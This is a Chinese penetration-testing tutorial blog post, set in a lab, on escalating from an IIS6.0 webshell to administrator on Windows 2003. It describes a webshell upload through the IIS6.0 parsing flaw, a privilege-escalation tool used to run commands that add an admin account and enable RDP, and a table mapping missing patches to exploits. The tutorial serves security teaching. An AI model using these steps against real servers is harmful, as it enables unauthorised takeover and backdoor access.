当前位置:网站首页>108.网络安全渗透测试—[权限提升篇6]—[Windows内核溢出提权]
108.网络安全渗透测试—[权限提升篇6]—[Windows内核溢出提权]
2022-07-07 09:58:00 【qwsn】
我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!
文章目录
一、Windows IIS6.0溢出提权
1、Windos提权简介:
window 服务器常用的是win2003、win2008和win2012。在渗透测试中 ,我们获取的权限是iis_user用户组 ,要更高的权限就需要把当前的用户提权到系统用户或超级管理员用户组。更高的权限方便我们在后续的渗透中,扩大范围测试。
2、程序权限的对比:
在iis里面,权限依次的大小对比:aspx>php>=asp,aspx默认能执行终端命令、php和asp如果不能执行命令,在wscript.shell组件没有删除的情况下,可以上传cmd到可执行目录从而执行终端命令。
3、 漏洞利用过程:
(1)实验环境:
1.靶机环境:
(1)虚拟机Windows2003【upload.moonteam.com】【192.168.97.132】
(2)脚本语言环境:php/asp/aspx语言环境均存在
2.攻击机:
(1)虚拟机Win7【192.168.97.130】
(2)Firefox+Burpsuite+蚁剑+大马
3.网络环境:
(1)VMware搭建的NAT网络
(2)靶机链接:
URL:http://upload.moonteam.com/upload_6.php
(3)实验过程:
第一步: 访问靶机链接,经过一系列的测试,发现这个是IIS6.0文件解析漏洞,因此可以通过漏洞特性上传大马。
第二步: 上传大马

第三步: 访问大马http://upload.moonteam.com/upfile/heroes.asp;.jpg #大马密码为heroes
第四步: 点击[服务信息 组件支持]模块,查看命令执行组件wscript.shell组件是否删除
第五步: 点击[RECYCLER]模块,从而查看回收站目录。
第六步: 点击[上传文件模块],从而上传cmd.exe到回收站目录下。

第七步: 点击[CMD执行]模块,然后填写SHELL路径以及要执行的命令,最后勾选WScriptShell组件和点击执行,从而测试cmd.exe的whoami命令。

第八步: 点击[CMD执行]模块,执行命令systeminfo,保存下来结果到本地的systeminfo.txt。
第九步: 利用脚本wes.py,执行python wes.py systeminfo.txt > res.csv命令,跑出漏洞,保存到res.csv
第十步: 分析res.csv,检索漏洞,发现CVE-2009-1535的IIS6.0提权漏洞
第十一步: 点击[上传文件模块],从而上传IIS6.0.exe到回收站目录下,但是发现上传失败,这里我们再去上传一个专门用来上传文件的大马,再去上传IIS6.0.exe


第十二步: 访问大马,http://upload.moonteam.com/upfile/up.aspx #密码admin,上传IIS6.0.exe提权工具到回收站目录下

第十三步: 回到一开始的大马,进入[CMD执行]模块,键入C:\RECYCLER\IIS6.0.exe "whoami" #注意执行命令的格式
第十四步: 依次输入以下命令,从而创建用户demo1,加入到管理员组,开启3389端口,远程连接靶机。C:\RECYCLER\IIS6.0.exe "net user demo1 123 /add" #添加用户
C:\RECYCLER\IIS6.0.exe "net localgroup administrators demo1 /add" #加入管理员组
C:\RECYCLER\IIS6.0.exe "net user" #查看创建的用户
C:\RECYCLER\IIS6.0.exe "netstat -ano" #查看开启的端口 
C:\RECYCLER\IIS6.0.exe "REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal\" \"Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f" #开启3389
C:\RECYCLER\IIS6.0.exe "netstat -ano" #查看开启的端口 
最后一步: 键入win+r,输入mstsc,填写靶机ip,刚刚创建的账号,从而达到远程登录的目的。



附1:部分系统漏洞对应补丁号
Win2003
KB2360937|MS10-084
KB2478960|MS11-014
KB2507938|MS11-056
KB2566454|MS11-062
KB2646524|MS12-003
KB2645640|MS12-009
KB2641653|MS12-018
KB944653|MS07-067
KB952004|MS09-012 PR
KB971657|MS09-041
KB2620712|MS11-097
KB2393802|MS11-011
KB942831|MS08-005
KB2503665|MS11-046
KB2592799|MS11-080
KB956572|MS09-012烤肉
KB2621440|MS12-020
KB977165|MS10-015Ms Viru
KB3139914|MS16-032
KB3124280|MS16-016
KB3134228|MS16-014
KB3079904|MS15-097
KB3077657|MS15-077
KB3045171|MS15-051
KB3000061|MS14-058
KB2829361|MS13-046
KB2850851|MS13-053EPATHOBJ 0day 限32位
KB2707511|MS12-042 sysret -pid
KB2124261|KB2271195 MS10-065 IIS7
KB970483|MS09-020IIS6
Win2008
KB3139914|MS16-032
KB3124280|MS16-016
KB3134228|MS16-014
KB3079904|MS15-097
KB3077657|MS15-077
KB3045171|MS15-051
KB3000061|MS14-058
KB2829361|MS13-046
KB2850851|MS13-053EPATHOBJ 0day 限32位
KB2707511|MS12-042 sysret -pid
KB2124261|KB2271195 MS10-065 IIS7
KB970483|MS09-020IIS6
Win2012
KB3139914|MS16-032
KB3124280|MS16-016
KB3134228|MS16-014
KB3079904|MS15-097
KB3077657|MS15-077
KB3045171|MS15-051
KB3000061|MS14-058
KB2829361|MS13-046
KB2850851|MS13-053EPATHOBJ 0day 限32位
KB2707511|MS12-042 sysret -pid
KB2124261|KB2271195 MS10-065 IIS7
KB970483|MS09-020IIS6
附2:aspx权限高于asp的示例

边栏推荐
- Nuclear boat (I): when "male mothers" come into reality, can the biotechnology revolution liberate women?
- STM32 entry development NEC infrared protocol decoding (ultra low cost wireless transmission scheme)
- Leetcode - interview question 17.24 maximum submatrix
- CMU15445 (Fall 2019) 之 Project#2 - Hash Table 详解
- Automated testing framework
- Technology sharing | packet capturing analysis TCP protocol
- Flet教程之 17 Card卡片组件 基础入门(教程含源码)
- 请查收.NET MAUI 的最新学习资源
- 【紋理特征提取】基於matlab局部二值模式LBP圖像紋理特征提取【含Matlab源碼 1931期】
- Two week selection of tdengine community issues | phase II
猜你喜欢

【系统设计】指标监控和告警系统

Tsinghua Yaoban programmers, online marriage was scolded?

What development models did you know during the interview? Just read this one
![[shortest circuit] acwing 1127 Sweet butter (heap optimized dijsktra or SPFA)](/img/c3/10943528ee45d7059b8cc304654904.png)
[shortest circuit] acwing 1127 Sweet butter (heap optimized dijsktra or SPFA)

【纹理特征提取】基于matlab局部二值模式LBP图像纹理特征提取【含Matlab源码 1931期】

聊聊SOC启动(十) 内核启动先导知识

Zhou Yajin, a top safety scholar of Zhejiang University, is a curiosity driven activist

In SQL, I want to set foreign keys. Why is this problem

【神经网络】卷积神经网络CNN【含Matlab源码 1932期】

Flet教程之 15 GridView 基础入门(教程含源码)
随机推荐
Unsupervised learning of visual features by contracting cluster assignments
竟然有一半的人不知道 for 与 foreach 的区别???
sink 消费 到 MySQL, 数据库表里面已经设置了 自增主键, flink 里面,如何 操作?
Talk about SOC startup (11) kernel initialization
人大金仓受邀参加《航天七〇六“我与航天电脑有约”全国合作伙伴大会》
Design intelligent weighing system based on Huawei cloud IOT (STM32)
Briefly introduce closures and some application scenarios
The annual salary of general test is 15W, and the annual salary of test and development is 30w+. What is the difference between the two?
Present pod information to the container through environment variables
Swiftui swift internal skill: five skills of using opaque type in swift
[encapsulation of time format tool functions]
Flet教程之 18 Divider 分隔符组件 基础入门(教程含源码)
[shortest circuit] acwing1128 Messenger: Floyd shortest circuit
Apprentissage comparatif non supervisé des caractéristiques visuelles par les assignations de groupes de contrôle
Cmu15445 (fall 2019) project 2 - hash table details
Steps of redis installation and self startup configuration under CentOS system
【愚公系列】2022年7月 Go教学课程 005-变量
There are so many factors that imprison you
Flet教程之 14 ListTile 基础入门(教程含源码)
[filter tracking] comparison between EKF and UKF based on MATLAB extended Kalman filter [including Matlab source code 1933]